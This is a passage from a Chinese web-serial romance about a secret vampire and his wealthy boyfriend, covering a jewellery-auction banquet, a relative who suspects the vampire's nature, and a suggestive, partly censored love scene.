傅宴舟没办法,拿起手机,打开手电筒,戴上金丝眼镜,用光在宁尔露在外面的后背上扫动。 宁尔的肩膀处和右手手腕上有两处明显的青。 应该都是被自己捏的。 傅宴舟皱起眉头: “宝宝,手腕疼吗?青了。” “嗯?”宁尔自己揉了揉手腕,好像确实有点痛。 “对不起,是哥哥不好。” 宁尔身体容易发青是他自己吸血鬼体质的原因,傅宴舟还以为是自己用力太重。在少年白皙的身体上失控留下这样的痕迹,这行为很恶劣。 “不、不是你。” 宁尔声音蚊子似的嗡嗡。 “我保证,下次一定会很轻。” “下、下次?” “还有下次?” 宁尔委屈的声音又惹得傅宴舟一笑,不安分地趴在宁尔耳边: “不想有下一次了?宝宝?” “下一次是什么时候?” 宁尔这次终于学聪明了。 他生怕他一说“想”,傅宴舟立马说现在就是下一次。 傅宴舟笑着揉了揉宁尔的脑袋: “今晚有空吗?陪哥哥去参加一个晚宴。” 宁尔一听到“晚宴”,知道是很多他不认识的人一起吃饭,社恐瞬间发作,本能地想摇摇头,但还是及时刹住: “是什么晚宴呢?” “一个内部小型宴会,客人不多,会有一些朋友。” “那会有哥哥的家人吗?” “嗯,也会有。” 傅宴舟二十岁父亲出车祸去世,随后五年母亲病逝。 所有媒体采访在写到家庭时,都要浓墨重彩渲染一笔这位商业帝国总裁的亲情遗憾。 采访报道里短短的几行字,落在傅宴舟身上,却是他身边没有至亲的事实。 今晚是,有他家人的宴会。 宁尔收回脑子里的想法,点点头: “好。” “餐厅有午餐,下午会有人来帮你挑衣服。晚上7点我回来接你。” “午餐?”宁尔问。 现在不是才早上吗?傅宴舟不是要早起去上班吗? “嗯,现在已经11点多了。” 宁尔猛地翻了个身: “哥哥,那你的工作?” 傅宴舟耸耸肩,声音平淡: “嗯,已经迟到了。” “……” 宁尔和傅宴舟网恋了大半年,傅宴舟没有一天超过早上7点起床。 看到傅宴舟要走,黑暗中宁尔忽然拉住了他的睡袍袖子。 “哥哥。” “怎么了?” “如果……如果我变成一只小猫你还会喜欢我吗?” 面对宁尔忽如其来的情趣play,傅宴舟沉默了两秒: “会。” “如果、如果我变成一只蟑螂,你还会喜欢我吗?” “会。是你的话,蟑螂应该也会可爱。” “那……那如果我变成一只吸血鬼,你还会喜欢我吗?” 宁尔假装超绝不经意问出这个问题,其实心口已经在狂跳,手指把床单攥成了一团。 傅宴舟又沉默了一会儿,低头吻了吻宁尔的额头: “小吸血鬼殿下,平庸的人类将为您去捕获今晚的美餐。”- 宁尔优哉游哉吃过午饭,傅宴舟让他没事的时候可以在别墅里多逛逛,有很多功能不同的房间供他玩乐。 宁尔从一楼逛到三楼,又从三层逛到地下。 这栋别墅很新很新,甚至没有什么居住过的痕迹。 只有每个房间的酒红色元素和红玫瑰证明的确是傅宴舟精心准备过的。 这些深沉的红色让宁尔有一种十分舒适和愉悦的感觉。 宁尔来到健身房前就移不开脚步了。 脑子里出现了傅宴舟宽肩窄腰,每一块肌肉都恰到好处的完美身材,再看看自己纤瘦的身形…… 不管了,宁尔直接冲到更衣室换了一套运动衣,朝着最大的杠铃走去。 他把杠铃的重量加到最大,所有的杠铃片一圈一圈套起来,直到没有地方套。 宁尔摆好姿势站定,给自己打了打气,在心里默念“三、二、一、起!” 巨大的杠铃像是气球一样,瞬间被宁尔抓过了头顶。 嗯? 宁尔腾出一只手举着,同时蹲下身又举起另一个杠铃。 两个也同时举起来了。 就这样? 没意思。 宁尔把杠铃依次放下,落地时候在地上砸出一声重响。 人类的重量,对于他来说还是太简单了。 宁尔又上了跑步机,看着说明,把速度按到了最快。 动了吗? 只要宁尔稍微走快一点,脚下的滑带就像静止了一样。 根本跟不上他的速度。 宁尔像是散步一样慢悠悠走了一会儿,叹了口气关掉机器下来。 看来他的身材永远比不上傅宴舟了。 宁尔洗过澡回到楼上,打开微信,就看到陈元之给他发的消息: [今晚也不回来吗?] 宁尔这才想起来,他都忘记给元之和靳伟报平安了。 宁尔赶紧回复: [元之,我今晚要和舟先生去参加一个晚宴,晚宴结束就回去。我很好的,你不用担心。] 他已经在傅宴舟家里叨扰两天了,今晚得回自己的出租屋了。 陈元之很快回了个截图给他,是他语音房弹幕上飘着的“大do特do了吗?” [能不担心吗?] 宁尔瞬间脸一红,赶紧羞着打字: [元之你干嘛。我们、我、舟先生没有强迫我做什么的,真的。] 陈元之又不是没见识过宁尔的力气,只要他不愿意,十个傅宴舟同时上也不能把他怎么样。 [谁怕强迫?我是怕他诱哄你。] [男人的惯用伎俩,先是把你亲到没力气,再骗到床上花言巧语,然后……] [停停停停停元之你别说了] 元之昨晚是在床底吗? 怎么和他说得步骤都一模一样…… 陈元之也懒得多说,傅宴舟那种级别的大人物,虽然他没接触过,但也觉得应该会有分寸。 陈元之:[我发给你那个打包链接你是不是还没看?今天就赶紧看了啊。有用。] 宁尔翻到元之给他发的链接,回答: [好。] [元之,伟哥呢?]宁尔一直没收到靳伟的消息。 [他啊,疯了。] 宁尔:[??????????] 宁尔:[语音通话] [对方拒绝了你的语音通话请求] 陈元之:[我夸张呢,不过他确实一时间挺难接受的。以前你多问一句“傅宴舟”我们都觉得痴心妄想你疯了,现在忽然告诉他你俩谈上了,疯点正常。按理说这个顶头大帅都得随你叫一声靳伟哥了。] 宁尔:[元之你又开玩笑~好吧……等我回去亲口和你们解释。] 结束了和陈元之的对话,门口就响起了敲门声。 宁尔去打开门,好几个身着制服的人恭敬地站在门口,为首的女士笑容甜美地和宁尔打招呼: “您好,请问您是小耳朵先生吗?” “是的,我是……” “我们是您今晚的服装造型师,傅总嘱托我们今天搭配了一些衣服造型带来府上,希望您挑选愉快。” “啊,好,谢谢你们。”宁尔赶紧让人进来。 哪怕从前在城堡里当公爵儿子的时候,宁尔也没有享受过这么夸张的服务。 整整一个下午,一车车的西服套装直接从车里运送到别墅里,整整齐齐摆在他面前任由他挑选。 边挑也没让宁尔的嘴闲着,茶几上冒出了一套四层英式下午茶。 还带着温度。 他们是也抓了一个厨师在车里吗? 最关键的是,他们根据宁尔的肤色身高体重腰围等,找来了一个和他身材几乎一模一样的模特,宁尔看中的衣服,甚至都不需要亲自试,只要他一点头,模特就会帮他试穿。 晚上七点,傅宴舟的车准时停在门口。 宁尔听到引擎声就出门上车,今天是司机开车,他们俩都坐后座。 宁尔上车之后只和傅宴舟打了个招呼,并没有多看他。 直到感受到傅宴舟的目光一直盯着他,宁尔才抬起头有些害羞地看着他: “怎么啦?” 对上宁尔目光的傅宴舟一时间失神,由衷道: “很漂亮。” 宁尔不好意思地咬了咬唇。 还不是傅宴舟安排地太夸张。 一个下午几乎认真看了三十多套穿搭,最终给宁尔搭配了一套浅金色缎面西装,翻领上绣着成色透明、大小排列图案极具美感的闪亮钻石。 像花孔雀一样。 一头棕色的头发也被用发胶抓成了漂亮的造型。 整体的样子比他那天在缘来参加年度盛典还要夸张惹眼。 宁尔是个社恐,更别说在人类世界。 对于这种即将到来的“惹眼”,有种无形当中的压力。 他假装困了闭起眼睛,尽量不动声色地深呼吸着。 一直等到达目的地汽车停稳,傅宴舟先下车,在宁尔那侧伸手接他下车,顺势拉住宁尔,看着他认真道: “宝宝,抱歉,我以为,你会喜欢新衣服或者打扮的感觉。” 傅宴舟指了指宁尔身上的衣服。 宁尔愣了一下,原来是之前他经常试新衣服,被傅宴舟误会为臭美了。 其实那些绿色衣服只是因为舟先生喜欢绿色呀…… 宁尔感觉摇摇头: “没、没有,只是来参加哥哥的宴会,会有点压力。没有和哥哥不开心。” 傅宴舟展颜,伸出右手,十指紧紧扣在宁尔的手上,手上和声音一样力道沉稳: “有哥哥在。” 傅宴舟说完就带着宁尔向前走去,丝毫没有要松手的意思。 一直等到越来越靠近门口,宁尔先有些不好意思了,试着想把手抽出来,傅宴舟反倒握地越来越紧。 直到进门那一刻,宁尔手上的小动作还没有结束,忽然率先传来了一声恭敬的“傅总好”。 宁尔立马一个激动抬头挺胸,打招呼的是一位同样穿着西装的男士,说完傅总好之后,明显目光片到了宁尔身上。 紧接着,从走廊到宴会厅遇到的每一个人几乎都会打招呼问傅总好,同时把面前的路给他们让开。 然后宁尔就看到,他在那么多新闻图或者视频里看到的永远冷着一张脸的傅宴舟,此刻忽然朝众人露出一个和煦的微笑。 边笑边扭头看向自己牵着的宁尔,然后笑的更真实了。 连宁尔自己都被这个男人英俊的笑容震惊到了,他再转头看众人,宁尔虽然是“惹眼”的,不过这种惹眼和那天去参加年度盛典不同,所有人的目光不再是打量或者审视,而是充满了尊敬。 宁尔紧张地心情好了很多,一直牵着傅宴舟的手,两人仿佛一对婚礼现场的新人一样,一路接受着众人无声的祝福。 等走到宴会内厅,立马有人过来迎接傅宴舟。 对方的年龄比傅宴舟大,来头好像也不比他小,他伸出手要和傅宴舟握,傅宴舟却抬起自己和宁尔紧紧扣着的手。 那个人一愣,旋即反应过来,认真地和宁尔自我介绍了一番,然后先伸手去和宁尔握手。 傅宴舟这才舍得把宁尔松开一会儿。 宁尔通过他的介绍才知道,这是一场小型的珠宝拍卖晚宴,来参加的都是A市几个有头有脸的家族。 “我上次感觉到你喜欢珠宝,怕自己挑的你不喜欢,所以今天想和你一起来看看。” 原来又是为了自己。 “那、那哥哥不是说还有家人来吗?” 傅宴舟点点头: “有。” 他话音刚落,一声清脆的“叔叔”就随着一个小孩的身影飞了过来。 他像小炮、弹一样一头撞在傅宴舟身上,傅宴舟没有生气,耐心地蹲下身来摸了摸小朋友的脑袋: “撞疼了没有?说过要跑慢点。” 小朋友圆圆的脑袋摇得像拨浪鼓,乐呵呵地拉着傅宴舟的手笑。 傅宴舟把他的身体转了个方向,看着宁尔道: “童童,你还认识这个叔叔吗?” 宁尔不记得自己认识哪个小孩,他赶紧也学着傅宴舟的样子蹲下身,没想到那个小朋友看着他,先是愣怔了一会儿,紧接着开始往傅宴舟身后躲,声音有些害怕道: “鬼,小吸血鬼~” 宁尔瞳孔猛地一收缩,整个人差点踉跄倒,好在傅宴舟及时刮了刮童童的鼻子: “对,这就是你从前认识的吸血鬼哥哥。不过他现在是叔叔的男朋友,也是童童的叔叔了。” 傅童对宁尔明显就是又好奇又害怕,虽然身体往傅宴舟身后躲,脑袋还是忍不住探出来看宁尔。 宁尔抹了把脑门上无形的汗,学着傅宴舟轻声叫: “童童?” 傅童看看傅宴舟,又看看宁尔: “你、你也是我的叔叔吗?” 宁尔点点头:“我是。” “你也会爱童童吗?陪童童玩吗?” 宁尔又点点头,语气坚定: “我会。” 小孩子的心智过于单纯善良,问完这两个问题之后几乎没再思考,明明刚才还在害怕,立马甩掉傅宴舟的手,跑过去抱住宁尔: “叔叔,你好漂亮呀~” “啵唧——~” 一声清脆软糯的啵唧,没等傅宴舟拦住,就已经亲在了宁尔的脸颊上。 “童童。” 傅宴舟出言叫他,童童自己亲完之后却好像不好意思了,藏在了宁尔身后。 宁尔看到傅宴舟震惊的眼神,忍不住笑了起来。 他摸摸傅童的头,对这个长得和傅宴舟有些些许相似的小孩也很喜欢。 傅宴舟不再让傅童捣乱,让人把他先带走之后又重新牵起宁尔的手。 宁尔对于“吸血鬼”的事仍心有余悸,手心都更凉了一点,轻轻扯了扯傅宴舟的袖子,问他: “哥哥,童童刚才……是说什么吸血鬼?为什么他会认识我?” 傅宴舟有些无奈地看了一眼宁尔: “你在哪儿假扮过吸血鬼?” “缘、缘来呀。” 傅宴舟轻轻颔首。 宁尔停顿了一会儿,鬼脑子飞速反应着: “难、难道最开始和我聊天的那个只会发表情包的用户先生……” 傅宴舟点点头,眼神有些复杂地看着宁尔: “没错,就是傅童。” “他今年四岁。” 傅宴舟说完就说自己先去打个电话,等会儿进来找宁尔。 宁尔巴不得他现在赶紧消失一下。 天塌了。 …… 他自以为的魅力,勾引人的聊天手段,有来有回的表情包,原来是和刚才那个四岁的宝宝…… 傅宴舟不在身边,周围过来和他客气打招呼的人越来越多。 还有胆子大的,仿佛和宁尔认识了很久一样,直接过来和他聊天。 宁尔脸有些烫,他想去卫生间洗个手,一路向卫生间走去,耳朵里偶尔能听到的闲话大概都是“那位就是傅总的男朋友”、“这么多年唯一公开的男朋友”、“从相貌都能看出来人不是寻常人”等等。 宁尔径直走向卫生间,这个卫生间不大,整个空间里仿佛只有宁尔放水冲洗手的声音。 宁尔干脆直接顺势洗了把脸,晶莹的露珠点滴悬在他漂亮的脸蛋上,轻微的响动声从身后传来。 宁尔从镜子里看去,身后刚刚用完卫生间的年轻男人一身黑色西装,蹙着眉头走到宁尔身边。 他打开水龙头,并没有像刚才的人们一样和宁尔打招呼,而是始终蹙眉看着镜子里的宁尔。 他身上有一股浓重的酒味,和尚未开始的宴会有些格格不入。 宁尔没有理会他,关掉水龙头,刚准备离开,就听男人开口道: “你是宁尔对吧。” “你用的那间录音室原本是我的。” 宁尔反应了一下,刚想说什么,就见男人把眉头蹙地更深了一点: “那间屋子里有监控。” “我看到你在里面吃,不对,喝东西了。”—— 作者有话说: 坏消息:有人发现宁尔是吸血鬼了 好消息:是傅柏 第62章 “吸血鬼和人类,也可以…… 宁尔感觉自己浑身的血液都凝固了。 吸血鬼的血液在血管内冷凝, 寒气随着身体的本能透出。 宁尔瞳孔猛地收缩,目光从镜中猛地落在男人身上。 男人被这个表情吓得瞬间一机灵,醉意似乎都减轻了一点。 他看着镜子里的宁尔, 双手拉了拉西装领襟, 像是给自己壮胆, 他压低声音: “你到底是什么?” 不是“到底是什么人”,而是“到底是什么”。 宁尔转头, 看着他。 来到人类世界这么久, 第一次被当面戳破。 傅宴舟说过, 录音室是他找朋友借的。 所以, 他认识傅宴舟。 如果从这里出去, 他下一秒就把自己是吸血鬼的事告诉傅宴舟。 宁尔的拳头不自觉地在西装袖子里握紧。 这个卫生间真小。 也真安静啊。 除了他们两个之外,没有任何人。 与人类异族的本能, 让宁尔的脑子里一瞬间出现了一个恐怖的画面。 速度,力量,路线。 他甚至可以,不在这里做。 卫生间的敲门声响起,没等回答门就被推开。 傅宴舟一眼看到宁尔, 眼中稍有担心的神色一瞬间恢复平静,他走进来直奔宁尔: “在聊什么吗?” 宁尔的神智这时才恢复,他没听清傅宴舟的话,又愣着神问了一遍: “什么?” 傅宴舟看着宁尔的神色,眉头不动声色地一跳, 表情仍旧和煦: “没什么, 晚宴要开始了,宝宝。” 傅宴舟自然地牵起宁尔的手,手掌接触的一刹那, 宁尔感觉到傅宴舟皮肤热得厉害。 那就是说,他自己的手更冰冷了。 傅宴舟的动作仍旧自然,牵起宁尔后看向男人,语气冰冷不耐烦: “你有事儿?” 男人狠狠愣了一下,语气声嘶力竭: “哥!!” “哥?哥哥?”宁尔看向傅宴舟。 “哥哥?”男人又看向宁尔,眼神中难以置信。 傅宴舟看了傅柏一眼,向他介绍道: “这是宁尔,我男朋友。我不确定他喜不喜欢‘嫂子’这个称呼,你叫宁总即可。” 傅宴舟说完之后看向宁尔: “他叫傅柏。” “……” “……” 宁尔这才缓缓意识到,这个人竟然还是傅宴舟的弟弟。 傅宴舟是独生子,这个人应该是他叔叔的儿子。 傅宴舟说完之后也没等两人打招呼介绍,直接把胳膊放在宁尔腰际搂着人走了出去。 灯暗下来的晚宴厅流光溢彩,厅内美陈和今夜的珠宝主题相得益彰。 宁尔能感觉到前排都是一些很大的人物,有的桌上还有他在电视里看到过的眼熟的明星。 尽管这样,他们的位置也在最前排的最核心。 宁尔跟着傅宴舟落座,闪光灯瞬间在他们身上亮起来。 不过内部晚宴的规矩很明显,分寸把握也好,摄影师在抓拍完几张完美角度之后就立马撤下去,给客户留足私人空间。 高档的位菜一份份传到面前,中英双语的小声优雅交谈,一件件豪华精美珠宝在幕后准备展出,宁尔因为刚才傅柏的话,始终有些心不在焉。 傅宴舟以为他是紧张,看到宁尔几乎不怎么动筷子,拿了一只汤匙,不顾圆桌上其他人的目光,亲自喂到宁尔嘴边。 宁尔一愣,张嘴喝下汤,手伸到桌子下,想捏傅宴舟的手,一不小心捏到了他的大腿。 傅宴舟轻轻哼了一声,挑眉,任由宁尔手放在他大腿上。 “……” 这个动作更怪了。 感觉到桌上有其他宾客偷偷看他们,宁尔只能红着脸,悄悄收回手,任由傅宴舟给他把汤喂完。 没过一会儿拍卖的手牌下发,这是一场很传统的珠宝拍卖,没有电话入场,没有代劳举牌,出价与否,全看今天到场的各位人物。 专业的拍卖人员又介绍了一遍规则,宁尔当然是听懂了。 但当她用英文介绍规则的时候,傅宴舟又低头,在他耳边讲了一套更加简单的规则。 “遇到喜欢的珠宝就一直举起牌子,直到小锤落下。” “不用理会任何数字。” “……” 拍卖很快开始,第一件珠宝的成色和收藏价值就十分夺目。 宁尔看着这些珠宝,吸血鬼世界不缺耀眼的宝石,尤其他家里。 这些宝石确实不错,和他城堡茶几上镶嵌的差不多。 接连几个宁尔都没有举牌,傅宴舟可能是以为他不好意思叫价,温和地给他打了个样。 傅宴舟手中的那块牌子没有丝毫犹豫地频繁举起,直到本来起拍价800w的珠宝以2000w的价格成交。 傅宴舟压根没看那块珠宝一眼,转头对宁尔道: “就是这样,学会了吗?” 在场一片哗然。 宁尔不好意思地点点头,又过了几样展品,出现了一块成色十分漂亮的绿宝石。 宁尔眼睛一亮,照傅宴舟的说法,一直举着牌子,拍到了这件宝石。 绿色,傅宴舟喜欢的。 虽然是用他自己的钱买下来的吧…… 后面出现的宝石中,只要宁尔目光稍稍停留时候,傅宴舟就已经拍下。 宁尔赶忙解释他只是欣赏,他并不需要这么多。 傅宴舟说没关系,他不喜欢的可以随意送给傅童。 最后一件宝石没有提前出现在手册上,出场前专门卖了个关子,留了个空供大家猜测。 宴会上立马出现一阵小声交谈,还有人拿着手机看图片,或者打电话,感觉是什么很了不得的藏品。 宁尔能看到大家神色十分丰富神秘,只有傅宴舟没什么表情,偷偷问傅宴舟: “哥哥,你知不知道最后的宝石是什么?” 傅宴舟微微颔首。 神秘感勾起了宁尔的好奇心,他悄悄把耳朵凑到傅宴舟的嘴边: “是什么?是不是很有收藏价值?还是成色很难得?哥哥能不能偷偷告诉我?” 他们俩相对而坐,宁尔把脑袋凑过来,微微错身的样子,在昏暗灯光的勾了下像是两个人要接吻。 一只不怕死的镜头出现在傅宴舟对面,傅宴舟没推走宁尔,目光沉稳地看着镜头,稍稍偏转脑袋,在宁尔耳边亲了亲。 宁尔过电般地弹起来,睁大眼睛: “哥哥?” 傅宴舟嘴角扬了扬: “你问的这些哥哥不知道。”! 那他就是不知道这是什么!又故意逗他玩。 “但我知道,这会是你的。”- 拍卖正式结束,傅宴舟以一串长长的“0”拿下了最后那件红宝石。 期间有一个男人一直在和傅宴舟竞拍,最后抬的那几次报价,全场都发出了一声小小的惊呼声。 这个场合可能除了宁尔,都是见过世面的有钱人,饶是如此,还是被傅宴舟这个A市首富的出手能力惊到。 主持人到最后激动地说出成交价后,在音乐声中缓缓说出了一段仿佛是早就准备好的话。 “恭喜傅宴舟先生成功拍得这串红宝石项链。能在新年来临之际,亲手为自己的爱人宁尔先生,送上第一份新年礼物。” 宁尔一看手机,12月31号。 地球绕着太阳转了一圈,一切从头开始计数的日子。 这是人类的新年。 傅宴舟分寸掌控地正好,主持人说过之后就结束了,并没有出现什么在万众瞩目下给宁尔戴项链的稍有尴尬的场面。 场上响起了一阵掌声。宁尔脸色微红地在掌声中环视四周,大家的目光或祝福或羡慕,更多的是一种认真。 仿佛是在见证两个十分认真的人,发生一段认真的感情。 珠宝交接的后续工作由助理完成,傅宴舟问宁尔吃饱了吗,宁尔说吃饱了。 后续的休闲活动各式各样,酒房雪茄屋陆续有客人休息,傅宴舟问宁尔要不要喝一杯,宁尔摇摇头,傅宴舟也没停留。 哪怕有很多人想找准机会和傅宴舟说句话,因为宁尔一直挽着人,也始终没有找到合适的时间。 拍卖结束后,宁尔再度心不在焉起来,胳膊挽着傅宴舟,目光却一直在四处寻找着什么。 没等傅宴舟问他在找谁,一道身影就出现在了两人面前。 傅柏端着酒杯大步走来,身后的房门被他撞得吱呀一声。 他应该是又喝了不少酒,眼神看起来比刚才还要迷离,声音更大了一点,对着傅宴舟叫: “哥!” 傅宴舟条件反射地蹙眉,没等他说话,傅柏端起杯,两口把手中的威士忌一饮而尽,壮胆一般走到傅宴舟面前: “你知不知道,他刚刚已经承认他是……” “对不起。” 宁尔微小的声音打断了傅柏的话。 傅宴舟和傅柏一起扭头,却看到宁尔竟然对着傅柏鞠了一个躬。 表示道歉。 傅宴舟眉头猛地一跳,手慢一步没拦住他,就看到宁尔眸光真诚地看着傅柏: “对不起,傅柏先生,我刚刚对你有了十分不好的想法。” “我希望没有伤害到你。” 宁尔家族早就过了直接杀人饮血的时代,他们从小启蒙教育的第一课就是不允许再杀人来获取血液。 这是一种在吸血鬼界都要被惩罚的恶行。 宁尔遵纪守法乖了那么久,刚刚竟然为了自己的私欲,对人类有了那样可怕的念头。 这个人还是傅宴舟的弟弟。 所以宁尔一整场晚宴越想越愧疚,什么被发现的念头都排在了后面,只想亲口和他道歉。 下一秒,一向稳重的傅宴舟直接拉着傅柏的领子把他撞在门上,一字一句问: “你和他说什么了?” 傅柏酒杯都险些摔碎了,懵懵地看着傅宴舟,更懵地看着宁尔: “不是,不是,不是……你、你道歉干嘛?” 宁尔没办法解释,咬着嘴唇低下头。 傅宴舟手上力道更重,窒地傅柏几乎喘不上气: “不、不是,我、你……你……” “刚才不是有话说么?”傅宴舟丝毫没有松开他的意思。 “哥我真没欺负他……你听他说是他欺负我的!” 宁尔点点头,绿宝石的眼睛认真地看着傅宴舟,很愧疚小声: “是我欺负傅柏先生的。” 傅柏:“……” “哥!!我错了!!” 血脉压制下,傅柏几乎发出了小时候本能的求生声音。 傅宴舟终于松开了他,眼神却仍旧冰冷凶狠。 傅柏一边看着眼里水汪汪的宁尔,一边看着发狠的傅宴舟,自己一张脸上表情又复杂又委屈。 他快碎了。 “看来,上次我说的话你没听进去。” 傅宴舟眸光寒冽。 这个眼神真的把傅柏酒都吓醒了,他知道忤逆傅宴舟的下场,赶忙在他做决定前道歉: “别别别,我错了哥,我错了。” “他……他没什么,我先走了哥。” 傅柏说完就头也不回快步走了。 被两人这么一闹,宁尔感觉傅宴舟的气还没有消,但当转头面对宁尔的一刻,又极力克制着自己的情绪,态度缓和: “宝宝,我们回家吧。” 宁尔不敢说现在要回自己家,他也没有心思这个时候跑掉。 两个人一起回到傅宴舟的别墅,家里已经又被悄然收拾干净了。 进了家门,傅宴舟从厨房里给宁尔端出来一杯温热的牛奶: “喝了之后再去洗澡吧。” 宁尔乖乖点点头。 宁尔上楼洗完澡,吹干头发之后,傅宴舟忽然敲了敲他房间的门: “宝宝,我房间的浴室坏了,方便借用一下你的浴室么?” 宁尔想也没想这栋别墅里到底有几个浴室,直接点点头: “哥哥你用。” 傅宴舟拿着浴袍进了浴室,宁尔则是去了书房。 现在已经十点多了,宁尔打开电脑,想登入缘来直播,但是脑子里始终是傅柏的那句“你到底是什么。” 还有傅宴舟说的话。 没有人喜欢被欺骗。 傅宴舟又是一个那么正直、不讲情面的人。 如果真的被他知道自己是吸血鬼,他会不会十分厌恶地报警把他抓到生物研究基地? 宁尔脑子里乱得厉害,干脆今天请假不播了。 他打开电脑浏览器,搜索了一下关于吸血鬼的内容。 早先人类世界是完全相信吸血鬼存在的,只是随着时间的发展,生存界限越来越明晰,大部分吸血鬼家族不需要以捕食人类为生后,人类开始渐渐淡忘这种生物。 傅宴舟他们生活的这片大陆尤其罕见。 罕见,并不是好事。 罕见就是未知。 人类对于未知的东西,总是充满恐惧和戒备。 傅宴舟可能快洗完澡了,宁尔把浏览器关掉,等了一会儿又觉得无聊,想起来陈元之给他发过的链接,于是在电脑上把链接打开。 链接好像是一个视频,但不知道为什么很慢,点开之后电脑屏幕就变成了黑色,中间有一个小圆在转圈圈。 好慢。 宁尔正想拿出手机玩一下,书房门口忽然传来了敲门声。 宁尔说了请进,傅宴舟穿着睡袍,手里拿着平板走进来: “今天怎么没有直播?” 宁尔愣了一下,扯谎: “哦、今天、有、有点累了。” “是因为参加宴会觉得不舒服,所以很累吗?” 傅宴舟帮他找原因。 宁尔点点头,又赶紧马上摇摇头: “不,不是,就是,有点累。” 傅宴舟放下平板,径直走到宁尔面前,看着他的眼睛: “小耳朵,为什么这么心不在焉?” “没、没有心不在焉呀哥哥,我挺好的。”宁尔生硬地躲开傅宴舟的目光。 “你忘记开灯了。” “……” 黑暗的书房里只有电脑屏幕上微弱的灯光照在宁尔的脸上,显得脸色格外苍白。 傅宴舟没有去开灯,反而靠在电脑桌前,俯身捧起宁尔的脸,眼神透过金丝边眼镜看着他: “是因为傅柏的话,对么?” 宁尔咬了咬嘴唇,没能否认。 看到宁尔默认,傅宴舟反倒是松了口气,他顿了一下,开口: “让我猜猜他说了什么。” “他说,他发现你是吸血鬼了?” 宁尔瞳孔猛地一缩,浑身血液倒流,抬头,死死地盯着傅宴舟的那双眼睛。 他的喉咙里挤出了两声: “哥、哥……” 宁尔的双手都麻木了,他们对话的每一个下一秒,他都不知道将会发生什么。 傅宴舟笑了。 嘴角在他那张英俊的脸色扬起一个好看的弧度,眉眼间带着一丝无奈,更多的是几分宠溺。 他伸手摸了摸宁尔的头发,身体俯地更低了一点: “宝宝,我咨询过蒋昀,也查过相关资料。你的情况属于一种轻微的精神类疾病,具体表现为臆想。包括你喜欢吃鸭血、喜欢喝石榴汁、不喜欢见阳光、用吸血鬼特效等,都是因为在幻想自己是一只吸血鬼。” “有了这种幻想,你所有的行为都会不自觉对标这个身份。严重起来,甚至可能会出现咬伤别人,幻想进行吸食血液的行为。” “我不知道你的童年发生过什么,让你会希望自己是一只有超能力、不用见阳光的吸血鬼。不过就我观察看来,你的程度并不严重,完全可以通过心理治疗干预。” “如果你愿意,我们明天就可以开始心里干预治疗。当然,如果你不愿意,哥哥也愿意饲养一只小吸血鬼。” “……” 这次换宁尔愣住了。 他呆呆地看着傅宴舟很久,内心疯狂挣扎着是否要任由这个谎言在傅宴舟心中扎根更深。 沉默了不知道多久,宁尔声音轻颤地问了一个问题: “哥哥,那你相不相信,这个世界上真的存在吸血鬼?” 傅宴舟看着宁尔,像是很想配合他,但最终仍蹙了蹙眉: “抱歉,我不相信。” “这个时间上,没有鬼。” 笃定的声音落下,一字一字敲在宁尔心里。 不知道为什么,明明好像是不会被怀疑到了,宁尔却觉得自己离傅宴舟的距离更远了。 他不怀疑自己,但他甚至不承认自己的存在。 他挣扎的神色落在傅宴舟眼里,微蹙的眉头,精致的脸庞因为愁绪变得格外漂亮,傅宴舟短暂失神了一刹那,下一秒,就难以克制地想去亲吻宁尔。 傅宴舟把宁尔从椅子上拉起来搂在面前,男人的吻混合着呼吸落在宁尔的额头,脸颊。 濡湿温热的唇瓣贴在宁尔的嘴唇上,男性的味道让宁尔浑身一颤,唇瓣被亲咬,宁尔在空隙里喘气,边喘边问: “那你有没有好奇过,为什么我的皮肤会这么凉?” 体温总不会是因为臆想而变化的。 傅宴舟的吻更加激烈起来,宁尔也有些上头,喘息之际又挣开他: “我救你的那天,是怎么做到一个人打得过那么多坏人?” 没等傅宴舟的吻再次落下,身后的电脑里忽然传来了非常奇怪的声音。 是两个男人的声音。 没有语言,全是语气词。 宁尔只听了几秒耳朵瞬间烫到几乎没有知觉。 那是、那是…… 他刚刚点开元之发给他的视频链接…… 傅宴舟对着电脑屏幕,已经看到了画面,宁尔脊椎如同过电般僵在原地一动不敢动。 傅宴舟摘下金丝框眼镜扔在一旁,浓重的眉毛压在深邃的眼睛上,瞳孔神色危险。 他盯着宁尔,一双大手在他腰际用力,宁尔整个人被他直接转了过去。 宁尔下意识双手撑在电脑桌上,赤.裸的男人口口的□□画面在大屏上冲击到眼里。 “原来,不直播是因为要看这个?” 画面上的跪着的人还在有节奏地动,傅宴舟刻意调戏的声音在耳边响起,双手牢牢搂在宁尔的腰际,大有一种就是要让他看着的意思。 不堪入耳的叫声让宁尔甚至想起了昨夜,本来冰冷的皮肤因为羞耻变得滚烫。 “你的身体温度,好像比哥哥都要高了。是因为看这样的视频?” 宁尔感觉自己要哭了,声音颤抖,语气里丝毫没有刚才的强硬: “我、我不知道,是这样的视频……” “宝宝” 傅宴舟的呼吸喷打在宁尔的颈间,一直手抬起他的下巴让宁尔注视着屏幕,搂着他的腰的手上力道更重了几分: “吸血鬼和人类,也可以这样做么?”—— 作者有话说: 宁尔:我没招了我真没招了 第63章 同一种族的气味 细微的光缕通过没有拉实的窗帘缝钻进来, 洒在柔软的地毯上。 不是没有拉实,是硬生生被扯出一道缝隙。 宁尔动了动,手臂肩膀泛酸, 浑身没有任何力气。 脑子里只要出现昨晚的场景, 宁尔脸就一瞬间烫起来。 昨天傅宴舟“强迫”着宁尔看那个视频, 视觉、听觉的极致冲击,再加上傅宴舟的环抱和在耳边亲吻的触觉, 宁尔的身体很快就有了夸张的反应。 他想解释那个视频不是他自己的, 可是傅宴舟好像压根不信, 反倒觉得他不敢承认的样子更可爱了。 一边欣赏着宁尔的反应, 一边猜测他想要什么。 是问小吸血鬼想要什么。 他戏谑的语气让宁尔的羞耻感传遍周身, 不仅仅是他羞耻,好像代表着整个吸血鬼族都被人类玩弄了。 眼眶里很快不争气地有了眼泪, 温热的泪珠砸到傅宴舟的颈窝里,他才把宁尔从电脑桌上松开抱回卧室。 一直到走的时候还没关那个视频。 宁尔被傅宴舟抱回卧室,傅宴舟每触碰一下他的皮肤,宁尔就敏感羞耻地闪躲。 他已经下定决心今天不会“帮”他做任何事。 无论什么甜言蜜语。 甚至是威逼利诱。 他不能接受舟先生把吸血鬼当做情趣play。 然后事情就发生了另宁尔更加难以置信的一幕。 宁尔感受到傅宴舟情浓之际的粗重呼吸,但他仍旧把双手藏在背后, 顽抗地对视上傅宴舟目光的一刹那,他在那种情欲中看到一种狡黠。 然后,傅宴舟就蹲在了宁尔面前,在他没反应过来干什么的时候,吃掉了宁尔。 